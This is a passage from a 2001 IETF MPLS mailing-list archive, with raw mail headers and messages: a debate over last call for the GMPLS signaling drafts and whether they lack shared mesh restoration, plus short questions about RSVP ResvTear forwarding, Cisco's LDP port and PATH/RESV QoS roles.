> > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > >
> > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > >
> > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > >
> > >     4.  GMPLS Extensions for SONET and SDH Control
> > >
> > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > >
> > > The last call closes May 29, 12 pm GMT.
> > >
> > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > >
> > > 
> ======================================================================
> > > George Swallow       Cisco Systems                   
> (978) 244-8143
> > >                      250 Apollo Drive
> > >                      Chelmsford, Ma 01824
> 



From owner-mpls@UU.NET  Tue May 29 08:29:05 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA29922
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 08:29:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrcj15112;
	Tue, 29 May 2001 12:26:17 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcj29172
	for mpls-outgoing; Tue, 29 May 2001 12:23:30 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrcj29155
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 12:23:14 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrcj06113
	for <mpls@uu.net>; Tue, 29 May 2001 12:21:30 GMT
Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkrcj06530
	for <mpls@uu.net>; Tue, 29 May 2001 12:21:29 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4TCLT907651
	for <mpls@uu.net>; Tue, 29 May 2001 05:21:29 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA02809 for mpls@uu.net; Tue, 29 May 2001 08:21:28 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqpl23020
	for <mpls@mail-control.mail.uu.net>; Sat, 26 May 2001 00:19:06 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqpl20025
	for <mpls@UU.NET>; Sat, 26 May 2001 00:18:35 GMT
Received: from mail-green.research.att.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: H-135-207-30-103.research.att.com [135.207.30.103])
	id QQkqpl26169
	for <mpls@UU.NET>; Sat, 26 May 2001 00:18:34 GMT
Received: from alliance.research.att.com (alliance.research.att.com [135.207.26.26])
	by mail-green.research.att.com (Postfix) with ESMTP
	id C5A2D1F0D9; Fri, 25 May 2001 20:18:29 -0400 (EDT)
Received: from research.att.com (pc-crk.research.att.com [135.207.17.83])
	by alliance.research.att.com (8.8.7/8.8.7) with ESMTP id UAA19213;
	Fri, 25 May 2001 20:18:25 -0400 (EDT)
Message-ID: <3B0EF61C.803BBB29@research.att.com>
Date: Fri, 25 May 2001 20:17:32 -0400
From: "C. R. Kalmanek" <crk@research.att.com>
X-Mailer: Mozilla 4.51 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Bala Rajagopalan <BRaja@tellium.com>
Cc: ccamp@ops.ietf.org, mpls@UU.NET
Subject: Re: GMPLS Last Calls
References: <0CD7D73C734BD411AEE100B0D02204040198224E@mail1.tellium.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Bala,

Just getting back to email this evening...  

New objects will certainly be needed.  As for whether restoration
can be handled purely as extensions to the current drafts remains 
to be seen -- it would be nice.

chuck

Bala Rajagopalan wrote:
> 
> Chuck:
> 
> I believe that the restoration issue can be
> dealt with indepedent of the current drafts
> on last call. Do you see any obstacles to
> adding new objects/semantics (if any) to support
> restoration requirements as they arise?
> 
> BTW, there are some drafts floating around
> on shared mesh.
> 
> regards,
> 
> Bala Rajagopalan
> Tellium, Inc.
> 2 Crescent Place
> P.O. Box 901
> Oceanport, NJ 07757-0901
> Tel: (732) 923-4237
> Fax: (732) 923-9804
> Email: braja@tellium.com
> 
> > -----Original Message-----
> > From: C. R. Kalmanek [mailto:crk@research.att.com]
> > Sent: Friday, May 25, 2001 1:08 PM
> > To: John Drake
> > Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
> > mpls@UU.NET
> > Subject: Re: GMPLS Last Calls
> >
> >
> > I fully agree: there are a whole spectrum of options that we
> > need to sort through, and clear requirements are needed to
> > guide that process.  Our concern is with the last call.  It
> > doesn't make sense to progress drafts to RFC that are likely
> > in hindsight to be viewed as having serious deficiencies in
> > meeting restoration requirements.
> >
> > chuck
> >
> > John Drake wrote:
> > >
> > > The point is that in GMPLS, as in regular MPLS, restoration
> > consists of
> > > rerouting from the endpoints upon
> > > notification of failure.  There are a whole spectrum of
> > path and span
> > > protection possibilites beyond this
> > > that people (including us) have proposed, but in the absence of firm
> > > requirements, it's hard to know which
> > > to pursue.  I'm not sure 'shared mesh restoration'
> > completely covers it.
> > >
> > > Thanks,
> > >
> > > John
> > >
> > > -----Original Message-----
> > > From: C. R. Kalmanek [mailto:crk@research.att.com]
> > > Sent: Friday, May 25, 2001 9:54 AM
> > > To: John Drake
> > > Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
> > > mpls@uu.net
> > > Subject: Re: GMPLS Last Calls
> > >
> > > John,
> > >
> > > While there currently are no restoration requirements from the
> > > TE (or other) group, what Percy is saying is that shared mesh
> > > restoration WILL be a requirement from those groups.  Since the
> > > current GMPLS drafts don't meet this requirement, they are
> > > unlikely to meet key SP needs.
> > >
> > > I don't understand a process that starts the requirements
> > > development after last call for the signaling specifications.
> > >
> > > chuck
> > >
> > > John Drake wrote:
> > > >
> > > > Percy,
> > > >
> > > > There has been work on protocols for path restoration in
> > mesh networks by
> > > a
> > > > number of
> > > > people.  However, at the last IETF Kireeti and Vijay
> > clearly indicated
> > > that
> > > > this work,
> > > > while interesting, wouldn't be allowed to progress in advance of a
> > > > restoration requirements
> > > > draft from the TE group.
> > > >
> > > > Thanks,
> > > >
> > > > John
> > > >
> > > > -----Original Message-----
> > > > From: Tarapore, Percy S [mailto:tarapore@att.com]
> > > > Sent: Thursday, May 24, 2001 11:55 AM
> > > > To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
> > > > Subject: RE: GMPLS Last Calls
> > > >
> > > > There is a significant issue related to the absence of
> > restoration in the
> > > > signaling draft
> > > >
> > >
> > (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> > ed-signaling-0
> > > > 4.txt). Very specifically, Section 7 of this draft deals
> > with the case
> > > > involving protection information for link protection. While link
> > > protection
> > > > schemes may be desirable for fast recovery related to
> > high priority LSP's,
> > > > more cost-effective shared mesh restoration schemes would
> > be preferred for
> > > > the majority of traffic from a Service Provider's
> > perspective. This
> > > > observation is supported by the fact that many vendors
> > are currently
> > > > developing proprietary schemes for shared mesh
> > restoration. Hence, in
> > > > addition to the protection information, GMPLS signaling
> > needs to reflect a
> > > > minimum set of information/attributes required for shared
> > mesh restoration
> > > > without jeopardizing vendor proprietary solutions.
> > > >
> > > > The need for multiple types of restoration capabilities
> > is well documented
> > > > in the OIF/UNI I-D
> > > >
> > >
> > http://search.ietf.org/internet-drafts/draft-many-carrier-fram
> > ework-uni-00.t
> > > > xt as follows:
> > > >
> > > > " Multiple types of facilities available for restoration
> > are needed
> > > >    within the network. The following options should be
> > considered for
> > > >    allocation of facilities to support restoration of failed
> > > >    connections:
> > > >    - Dedicated restoration capacity
> > > >    - Shared restoration capacity. This allows the network
> > to ensure
> > > >      high quality service for customers, while still managing its
> > > >      physical resources efficiently.
> > > >    - Un-restorable
> > > >    - Pre-emptable"
> > > >
> > > > The OIF/UNI I-D supports a range of different restoration
> > schemes through
> > > > the use of service level as a connection attribute. This
> > attribute is
> > > > defined as follows:
> > > >
> > > > " an integer attribute that indicates a class of service.
> > A carrier may
> > > > specify a range of different classes of service (e.g.
> > gold, silver,
> > > bronze)
> > > > with predefined characteristics (e.g. restoration plans).
> > The pre-defined
> > > > service types correspond to different types of network
> > restoration (e.g.
> > > no
> > > > restoration, 1+1 protection), connection set-up and hold
> > priorities,
> > > > reversion strategies for the connection after failures
> > have been repaired,
> > > > and retention strategies."
> > > >
> > > > It is therefore important that GMPLS be extended to be
> > able to support
> > > such
> > > > restoration schemes.
> > > >
> > > > Percy S. Tarapore
> > > > AT&T Labs
> > > >
> > > > -----Original Message-----
> > > > From: Ash, Gerald R (Jerry)
> > > > Sent: Thursday, May 24, 2001 2:20 PM
> > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > Cc: Ash, Gerald R (Jerry)
> > > > Subject: RE: GMPLS Last Calls
> > > >
> > > > Quoting from the CCAMP/IETF-50 meeting minutes re the
> > GMPLS Architecture
> > > > draft:
> > > >
> > > > "Eve - Had hoped that CCAMP formation and expression of
> > requirements would
> > > > enable us to do more with architecture than reverse
> > architect proposed
> > > > solution. Think we should also look at carrier
> > requirements and look for
> > > > discrepancies with architecture.
> > > > Curtis - requirements of carriers not being addressed?
> > > > Eve - happy to discuss on mailing list in absence of time"
> > > >
> > > > There are still no documented service provider (SP)
> > requirements driving
> > > the
> > > > proposed GMPLS protocol extensions.  This is inconsistent
> > with the current
> > > > initiatives to provide SP requirements prior to protocol
> > extensions being
> > > > accepted, such as for protection/restoration, network
> > hierarchy, MPLS OAM,
> > > > MPLS/DiffServ TE, multi-area TE, etc.
> > > >
> > > > Here is a sample of SP requirements that are not being
> > addressed (other
> > > > requirements from our perspective are forthcoming):
> > > >
> > > > 1. Restoration requirements, particularly in support of
> > mesh restoration,
> > > > need to be supported by GMPLS.  For example, Section 7 of
> > the Generalized
> > > > Signaling I-D
> > > >
> > >
> > (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> > ed-signaling-0
> > > > 4.txt)
> > > > primarily discusses link protection, restoration
> > capabilities are largely
> > > > missing and need to be included.
> > > >
> > > > 2. Standards explicitly supported by GMPLS, such as
> > G.707, G.709, etc.,
> > > > should be clearly identified in the text and referenced
> > in the GMPLS I-Ds,
> > > > e.g., in Section 3.1 of the Generalized Signaling I-D, add "G.707
> > > [Reference
> > > > G.707] is supported by the Generalized Label Request."
> > > >
> > > > As per Eve's comment at IETF-50, SPs are encouraged to post their
> > > > requirements to the list.  It would also help if more SPs
> > were invited to
> > > > co-author the GMPLS drafts, to help ensure that SP
> > requirements are more
> > > > adequately reflected and addressed.
> > > >
> > > > Jerry Ash
> > > > AT&T Labs
> > > >
> > > > -----Original Message-----
> > > > From: George Swallow [mailto:swallow@cisco.com]
> > > > Sent: Monday, May 14, 2001 1:52 PM
> > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > Subject: GMPLS Last Calls
> > > >
> > > > This message initiates a last call on four GMPLS drafts.  The last
> > > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > > >
> > > > The drafts are:
> > > >
> > > >     1.  Generalized MPLS - Signaling Functional Description
> > > >
> > > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > > >
> > > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > > >
> > > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > > >
> > > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > > >
> > > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > > >
> > > >     4.  GMPLS Extensions for SONET and SDH Control
> > > >
> > > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > > >
> > > > The last call closes May 29, 12 pm GMT.
> > > >
> > > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > > >
> > > >
> > ======================================================================
> > > > George Swallow       Cisco Systems
> > (978) 244-8143
> > > >                      250 Apollo Drive
> > > >                      Chelmsford, Ma 01824
> >



From owner-mpls@UU.NET  Tue May 29 08:30:59 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA29992
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 08:30:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrcj04526;
	Tue, 29 May 2001 12:28:58 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcj29551
	for mpls-outgoing; Tue, 29 May 2001 12:27:16 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrcj29232
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 12:24:56 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrcj04950
	for <mpls@uu.net>; Tue, 29 May 2001 12:24:47 GMT
Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkrcj12072
	for <mpls@uu.net>; Tue, 29 May 2001 12:24:47 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4TCOk908856
	for <mpls@uu.net>; Tue, 29 May 2001 05:24:46 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA02858 for mpls@uu.net; Tue, 29 May 2001 08:24:45 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrbm27120
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 06:33:56 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrbm29992
	for <mpls@UU.NET>; Tue, 29 May 2001 06:33:49 GMT
Received: from web8001.mail.in.yahoo.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web8001.in.yahoo.com [203.199.70.19])
	id QQkrbm16247
	for <mpls@UU.NET>; Tue, 29 May 2001 06:33:48 GMT
Message-ID: <20010529064217.19851.qmail@web8001.mail.in.yahoo.com>
Received: from [203.190.136.98] by web8001.mail.in.yahoo.com; Tue, 29 May 2001 07:42:17 BST
Date: Tue, 29 May 2001 07:42:17 +0100 (BST)
From: =?iso-8859-1?q?divya=20mattey?= <divya_mattey@yahoo.co.in>
Subject: query regarding resv tear message
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit

Hi,
I have a query regarding resv tear message. It travels
hop by hop from destination to source. It seems that ,
it will also use pathstate( as resv message) to get
the next PHOP to which resv tear message should be
forwarded. My confusion is, suppose if path state at a
particular node would have already been deleted due to
path tear message or due to clean up timer, then how
that node will find out at which PHOP resv tear
message should be forwarded? Is that it will not get
forwrded further?

Thanks,
-Divya.

____________________________________________________________
Do You Yahoo!?
For regular News updates go to http://in.news.yahoo.com



From owner-mpls@UU.NET  Tue May 29 08:32:20 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA00037
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 08:32:20 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrck07622;
	Tue, 29 May 2001 12:30:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcj29586
	for mpls-outgoing; Tue, 29 May 2001 12:27:21 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrcj29186
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 12:23:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrcj20227
	for <mpls@uu.net>; Tue, 29 May 2001 12:22:04 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkrcj17890
	for <mpls@uu.net>; Tue, 29 May 2001 12:22:03 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4TCM4U14179
	for <mpls@uu.net>; Tue, 29 May 2001 05:22:04 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA02819 for mpls@uu.net; Tue, 29 May 2001 08:22:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqpr20043
	for <mpls@mail-control.mail.uu.net>; Sat, 26 May 2001 01:52:29 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqpr20290
	for <mpls@uu.net>; Sat, 26 May 2001 01:51:30 GMT
Received: from nwcst323.netaddress.usa.net by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: nwcst323.netaddress.usa.net [204.68.23.68])
	id QQkqpr08983
	for <mpls@uu.net>; Sat, 26 May 2001 01:51:29 GMT
Received: (qmail 29432 invoked by uid 60001); 26 May 2001 01:51:29 -0000
Message-ID: <20010526015129.29431.qmail@nwcst323.netaddress.usa.net>
Received: from 204.68.23.68 by nwcst323 for [38.186.47.9] via web-mailer(34FM.0700.17C.01) on Sat May 26 01:51:29 GMT 2001
Date: 25 May 2001 19:51:29 MDT
From: Rohit Toshniwal <toshniwal_rohit@usa.net>
To: mpls@UU.NET
Subject: Cisco support for MPLS for ldp (RFC 3036)
CC: toshniwal_rohit@usa.net
X-Mailer: USANET web-mailer (34FM.0700.17C.01)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id IAA00037

Hello,
I am trying to run LDP against Cisco implementation on GSR using the image
12.0(16)ST.
It appears to me that Cisco runs ldp (or tdp) discovery on port 711 and not
port 646 as mentioned in the standard (RFC 3036).
Can someone please comment on it and if want to test ldp against a Cisco box
on GSR, what image should I use.
Thanks a lot,
Rohit

____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1



From owner-mpls@UU.NET  Tue May 29 08:34:16 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA00054
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 08:34:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrck10475;
	Tue, 29 May 2001 12:31:15 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcj29589
	for mpls-outgoing; Tue, 29 May 2001 12:27:26 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrcj29188
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 12:23:48 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrcj29070
	for <mpls@uu.net>; Tue, 29 May 2001 12:21:48 GMT
Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkrcj08710
	for <mpls@uu.net>; Tue, 29 May 2001 12:21:48 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4TCLl907753
	for <mpls@uu.net>; Tue, 29 May 2001 05:21:47 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA02815 for mpls@uu.net; Tue, 29 May 2001 08:21:46 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqpp17545
	for <mpls@mail-control.mail.uu.net>; Sat, 26 May 2001 01:24:30 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqpp12618
	for <mpls@uu.net>; Sat, 26 May 2001 01:21:20 GMT
Received: from web12106.mail.yahoo.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web12106.mail.yahoo.com [216.136.172.26])
	id QQkqpp14697
	for <mpls@uu.net>; Sat, 26 May 2001 01:21:19 GMT
Message-ID: <20010526012119.31801.qmail@web12106.mail.yahoo.com>
Received: from [206.54.51.114] by web12106.mail.yahoo.com; Sat, 26 May 2001 02:21:19 BST
Date: Sat, 26 May 2001 02:21:19 +0100 (BST)
From: =?iso-8859-1?q?Navin=20Kumar=20Agrawal?= <navin_a1@yahoo.com>
Subject: Re:RSVP-TE question
To: mpls@UU.NET
In-Reply-To: <0b6f308ce38996223fa7b4a134bd8ebc3b0f02a8@force10networks.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit

READ ON....

> I need some clarification on the role of PATH and
> RESV messages while
> setting up an LSP with QoS requirements. The draft
> talks about use of PATH
> messages for verification of available bandwidth at
> a particular priority
> and possible pre-emption of lower priority
> reservations. 

> Could the PATH message be used to hold QoS 
> resources as well ?

My answer is no, if this is a question. And I would
agree with you, if this is a not a question but a
new idea over the existing protocol.

> If yes, then what role does RESV message play 
> (in regards to setting up QoS) ?

> If no, when do QoS resources actually get reserved ?
> 
> Thanks,
> 
> -Pankaj





From owner-mpls@UU.NET  Tue May 29 08:35:23 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA00080
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 08:35:22 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrck13188;
	Tue, 29 May 2001 12:32:20 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcj29605
	for mpls-outgoing; Tue, 29 May 2001 12:27:31 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrcj29210
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 12:24:30 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrcj11228
	for <mpls@uu.net>; Tue, 29 May 2001 12:23:24 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkrcj20999
	for <mpls@uu.net>; Tue, 29 May 2001 12:23:23 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4TCNOU14608
	for <mpls@uu.net>; Tue, 29 May 2001 05:23:24 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA02833 for mpls@uu.net; Tue, 29 May 2001 08:23:22 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqyn13909
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 11:26:14 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqyn00098
	for <mpls@UU.NET>; Mon, 28 May 2001 11:25:12 GMT
Received: from smtp1.gtsgroup.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: smtp1.gtsgroup.com [195.158.230.16])
	id QQkqyn21942
	for <mpls@UU.NET>; Mon, 28 May 2001 11:25:11 GMT
Received: from 207.77.231.73 by smtp1.gtsgroup.com (InterScan E-Mail VirusWall NT); Mon, 28 May 2001 13:15:46 +0200 (W. Europe Daylight Time)
Received: by brubhdpnt01.gtsgroup.com with Internet Mail Service (5.5.2653.19)
	id <LNY2KX8B>; Mon, 28 May 2001 13:24:30 +0200
Message-ID: <D52BF6463BA3D311BFA700508B63C5AA04214652@brumsgpnt01.gtsgroup.com>
From: "Mannie, Eric" <Eric.Mannie@ebone.com>
To: "'Ash, Gerald R (Jerry)'" <gash@att.com>,
        "'v.sharma@ieee.org'"
	 <v.sharma@ieee.org>
Cc: ccamp@ops.ietf.org, mpls@UU.NET,
        "'Thomas D. Nadeau'"
	 <tnadeau@cisco.com>,
        Yakov Rekhter <yakov@juniper.net>
Subject: RE: GMPLS Last Calls 
Date: Mon, 28 May 2001 13:24:29 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello Jerry

>correct, as I mentioned, SPs have been formally asked for their
>*requirements*, but not on the GMPLS extensions

Sorry ! It is an OPEN process since the beginning, everybody can contribute
and write a draft. There is no formal process where requirements from
operators are asked for. I am not aware of any IETF rule about that !

You were welcome to work with us since 1.5 years but you never came to us.
You cannot blame us that you never worked on it (we are not responsible for
that)! This is true for the thousands of internet drafts being written at
the IETF.

It is the responsibility of each company individually to decide if they want
to contribute or not ! It is not the job of others companies to go to each
possible operator/manufacturer and to lobby to have them involved.

Regards,

Eric 



From owner-mpls@UU.NET  Tue May 29 08:36:02 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA00104
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 08:36:01 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrck16093;
	Tue, 29 May 2001 12:33:31 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcj29652
	for mpls-outgoing; Tue, 29 May 2001 12:27:44 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrcj29248
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 12:24:59 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrcj05309
	for <mpls@uu.net>; Tue, 29 May 2001 12:24:57 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkrcj24790
	for <mpls@uu.net>; Tue, 29 May 2001 12:24:57 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4TCOvU15159
	for <mpls@uu.net>; Tue, 29 May 2001 05:24:57 -0700 (PDT)
